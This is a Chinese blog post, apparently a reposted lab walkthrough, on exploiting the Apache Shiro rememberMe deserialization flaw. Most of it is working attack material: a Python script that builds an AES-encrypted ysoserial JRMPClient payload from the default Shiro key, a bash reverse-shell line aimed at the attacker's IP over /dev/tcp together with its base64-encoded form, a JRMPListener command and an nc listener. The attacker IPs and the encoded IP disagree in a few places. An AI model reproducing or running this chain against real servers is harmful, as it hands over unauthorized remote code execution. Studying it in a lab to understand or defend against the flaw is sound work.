标签:pad ons htm aaa cve 添加 请求 std 域名
首先判断是否存在shiro反序列化漏洞:
打开bp,抓取登录包重放
返回值中能在set-cookie很明显看到rememberme=deleteme 这个的字段,那么很有可能存在shiro漏洞
验证,使用bp的collabotator模块给你一个检验域名
运行shiro.py根据域名生成payload,后面的网址就是上一步生成的域名,前面自己加上http://头。生成payload。
python2 shiro.py "http://onf9lyddyqqo3qo20rdfbetrciic61.burpcollaborator.net"
复制payload,重放登录包,将payload添加在cookie值后面,记得和前面用分号隔开。
发送包,看返回值,很明显有两个cookie:rememberme
成功,查看bp的collaborator的模块的返回情况。确定是存在漏洞的。
靶机:192.168.73.131
攻击机IP:192.168.44.118
bash编码网站:http://www.jackson-t.ca/runtime-exec-payloads.html
shiro_exp_payload.py:白嫖大哥的
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen([‘java‘, ‘-jar‘, ‘ysoserial-master-SNAPSHOT.jar‘, ‘JRMPClient‘, command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == ‘__main__‘:
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
在http://www.jackson-t.ca/runtime-exec-payloads.html网站上将攻击语句进行编码,制作反弹shell的命令
bash -i >& /dev/tcp/192.168.44.118/1069 0>&1
然后使用ysoseria中的jrmp监听模块,监听9999端口。并且执行反弹shell命令(将shell结果反弹给192.168.44.118/1069端口)
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjExNy8xMDY5DA+JjE=}|{base64,-d}|{bash,-i}"
双引号括起来的就是第一步制作的反弹shell命令
在需要要反弹结果的机器上面监听1069端口(这里为了方便起见还是攻击机),等待反弹的结果(监听bash反弹shell的端口)
nc -lvp 1069
使用python脚本(端口是攻击机监听的端口9999,也就是用这个端口发出攻击)
python2 shiro_exp_payload.py 192.168.45.118:9999
把代码放入请求包中(还是cookie的地方),发送即可反弹shell
总结攻击思路:
标签:pad ons htm aaa cve 添加 请求 std 域名
原文地址:https://www.cnblogs.com/kbhome/p/13061633.html